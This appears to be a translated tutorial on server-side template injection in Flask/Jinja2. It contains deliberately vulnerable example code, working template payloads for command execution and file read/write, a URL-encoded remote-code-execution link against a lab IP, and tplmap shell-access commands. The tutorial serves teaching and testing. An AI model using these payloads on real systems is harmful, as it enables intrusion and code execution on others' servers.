SSTI server template injection vulnerability
Principle:
The server side template injection is because the server side receives the user's input as part of the Web application template content, and executes the malicious content inserted by the user during the target compilation and rendering process, resulting in sensitive information disclosure, code execution, GetShell and other problems.
The scope of influence mainly depends on the complexity of the template engine.
template engine
The template engine (specifically referred to here as the template engine for Web Development) is generated to separate the user interface from business data (content). It can generate documents in specific formats, and the template engine for web sites will generate a standard HTML Documentation.
Reference: https://baike.baidu.com/item/%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E/907667?fr=aladdin

Flask(Jinja2) server side template injection
Jinja2 is a fully functional template engine for Python. It has full unicode support and an optional integrated sandbox execution environment. It has been widely used and licensed by BSD. Jinja2 is used by Python Web frameworks such as Django or Flask.
Jinja official website:
https://jinja.palletsprojects.com/en/2.11.x/
Experimental test:
Code of flask ssti vulnerability:
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__":
Access: http://192.168.81.128:8000/

Incoming parameter:? name={{6*7}}, the following results can be obtained, indicating the existence of SSTI vulnerability.

The import os module is required to execute system commands in python.
To directly call the built-in module os in the template, you need to register it in the template environment
You need to add a sentence to the above code:
t.globals['os'] = os
If this sentence is not added, an error will be reported if the method in the os is used directly.
Then, how to call the popen() function in the template to execute system commands without registering the os module? This uses various underline functions.
>>> [].__class__ <type 'list'> >>> [].__class__.__base__ <type 'object'> >>> [].__class__.__base__.__subclasses__()
Class: used to view the class to which the variable belongs. The class to which the variable belongs can be obtained according to the previous variable form.
bases: used to view the base class of a class, or use an array index to view the value at a specific location
subclasses(): view the subclasses of the current class. Directly use object subclasses(), you will get the same result as.

Thus, many other modules can be accessed, and so can the os module.
To access the os module, you need to access it from warnings catch_warnings module. Take a look at catch_ Where are warnings.
>>> import warnings >>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)

When we get the location, we use func_global see what global functions are available in this module
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()

Here you can see the linecache. Here is the os module we want to access. Look at the various properties of this module:
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__

Next, you can use the os module.
>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('id')

Exploits
The POC to get the eval function and execute any python code is as follows:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
Visit the following links:
http://192.168.81.128:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
Get execution results:

View /etc/passwd

xss: the value of the name parameter is directly obtained through the get request without any processing. It can be directly injected into xss code.

Common commands for file read / write / command execution in Python
//Get basic classes
''.__class__.__mro__[1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] object
//Read file
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() object.__subclasses__()[40](r'C:\1.php').read()

//Write file
().__class__.__bases__[0].__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333') object.__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

//Execute any command
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("dir").read()' ) object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ipconfig").read()' )

SSTI test tool – Tplmap
GitHub: https://github.com/epinna/tplmap
Help information
C:\Users\hu1ge\Desktop\tplmap>cmd /k python2 tplmap.py -h Usage: python tplmap.py [options] Options: -h, --help Show help and exit. Target: These options have to be provided, to define the target URL. -u URL, --url=URL Target URL. -X REQUEST, --re.. Force usage of given HTTP method (e.g. PUT). Request: These options have how to connect and where to inject to the target URL. -d DATA, --data=.. Data string to be sent through POST. It must be as query string: param1=value1¶m2=value2. -H HEADERS, --he.. Extra headers (e.g. 'Header1: Value1'). Use multiple times to add new headers. -c COOKIES, --co.. Cookies (e.g. 'Field1=Value1'). Use multiple times to add new cookies. -A USER_AGENT, -.. HTTP User-Agent header value. --proxy=PROXY Use a proxy to connect to the target URL Detection: These options can be used to customize the detection phase. --level=LEVEL Level of code context escape to perform (1-5, Default: 1). -e ENGINE, --eng.. Force back-end template engine to this value. -t TECHNIQUE, --.. Techniques R(endered) T(ime-based blind). Default: RT. Operating system access: These options can be used to access the underlying operating system. --os-cmd=OS_CMD Execute an operating system command. --os-shell Prompt for an interactive operating system shell. --upload=UPLOAD Upload LOCAL to REMOTE files. --force-overwrite Force file overwrite when uploading. --download=DOWNL.. Download REMOTE to LOCAL files. --bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and connect to it. --reverse-shell=.. Run a system shell and back-connect to local HOST PORT. Template inspection: These options can be used to inspect the template engine. --tpl-shell Prompt for an interactive shell on the template engine. --tpl-code=TPL_C.. Inject code in the template engine. General: These options can be used to set some general working parameters. --force-level=FO.. Force a LEVEL and CLEVEL to test. --injection-tag=.. Use string as injection tag (default '*'). Example: ./tplmap -u 'http://www.target.com/page.php?id=1*'
Template injection test
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" [+] Tplmap 0.5 Automatic Server-Side Template Injection Detection and Exploitation Tool [+] Testing if GET parameter 'name' is injectable [+] Smarty plugin is testing rendering with tag '*' [+] Smarty plugin is testing blind injection [+] Mako plugin is testing rendering with tag '${*}' [+] Mako plugin is testing blind injection [+] Python plugin is testing rendering with tag 'str(*)' [+] Python plugin is testing blind injection [+] Tornado plugin is testing rendering with tag '{{*}}' [+] Tornado plugin is testing blind injection [+] Jinja2 plugin is testing rendering with tag '{{*}}' [+] Jinja2 plugin has confirmed injection with tag '{{*}}' [+] Tplmap identified the following injection point: GET parameter: name //Injection parameter: name Engine: Jinja2 //Template engine used Injection: {{*}} //Injection method Context: text OS: posix-linux Technique: render Capabilities: Shell command execution: ok //Verify the utilization methods available in the current environment Bind and reverse shell: ok File write: ok File read: ok Code evaluation: ok, python code [+] Rerun tplmap providing one of the following options: --os-shell Run on target shell --os-cmd implement shell command --bind-shell PORT Connected to the target port shell binding --reverse-shell HOST PORT take shell Send back to attacker's port --upload LOCAL REMOTE Upload file to server --download REMOTE LOCAL Downloading remote files
--OS CMD execute command
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-cmd whoami

--OS shell get interactive shell environment directly
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-shell
